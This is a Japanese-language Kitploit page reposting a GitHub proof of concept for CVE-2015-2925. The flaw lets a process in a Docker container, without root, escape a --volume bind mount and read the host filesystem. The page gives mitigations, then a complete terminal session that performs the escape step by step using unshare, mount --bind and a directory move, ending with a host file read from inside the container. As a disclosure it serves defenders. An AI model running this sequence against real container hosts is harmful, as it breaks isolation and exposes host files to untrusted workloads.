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docker_cve-2015-2925 — Docker + CVE-2015-2925 = --volume からのエスケープ | Kitploit
ツール/GitHubGitHub/kagami/docker_cve-2015-2925
特権昇格脆弱性分析エクスプロイトペネトレーションテストレッドチーミングコンテナエスケープ
GitHubkagami/docker_cve-2015-2925

docker_cve-2015-2925

Docker + CVE-2015-2925 = --volume からのエスケープ

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Docker + CVE-2015-2925 = --volume からの脱出

Linux の最近の脆弱性は、約半年(数ヶ月は公開)にわたり知られており、バインドマウントからの脱出を可能にしました。特に Docker の場合、--volume オプションでマウントしたディレクトリ内から、対応するホストのファイルシステムへ脱出することが可能です。

Docker セキュリティチームはすでにこの問題を認識しており、一般の注意を集めるためにこの公開を許可しました。

Jann Horn がこの点を指摘してくれたことに感謝します。基本的に私はそれを再現しただけです。

緩和策

次のいずれかで十分です:

  • AppArmor が有効なカーネルと AppArmor Docker プロファイル
  • SELinux が有効なカーネルと SELinux Docker ポリシー
  • カーネルでユーザー名前空間を無効化

注記

  • これは上流やディストリビューションではまだ修正されておらず、最近のカーネルならどれでも動作するはずです
  • これはコンテナ内で root である必要はありません
  • ディストリビューションによって、unshare(1) が含まれる util-linux パッケージのバージョンが異なり、場合によっては "Operation not permitted" を返すことがあります。Debian Jessie のパッケージは期待どおり動作することが確認されています

概念実証

root@kitploit:~
# uname -r
3.18.9-aufs
# zgrep USER_NS /proc/config.gz
CONFIG_USER_NS=y
# docker -v
Docker version 1.6.1, build 97cd073
# docker pull debian:jessie
# mkdir /test && chmod 777 /test
# echo escaped > /etc/hostdata && chmod 644 /etc/hostdata
# docker run -i -t --rm -v /test:/test -u nobody debian:jessie
nobody@fc8925af0f19:/$ unshare -m -U -r /bin/bash
root@fc8925af0f19:/# cd /test
root@fc8925af0f19:/test# mkdir A A/B C D
root@fc8925af0f19:/test# mount --bind A D
root@fc8925af0f19:/test# cd D/B
root@fc8925af0f19:/test/D/B# mv /test/A/B /test/C
root@fc8925af0f19:/test/D/B# cat ../../../etc/hostdata
escaped
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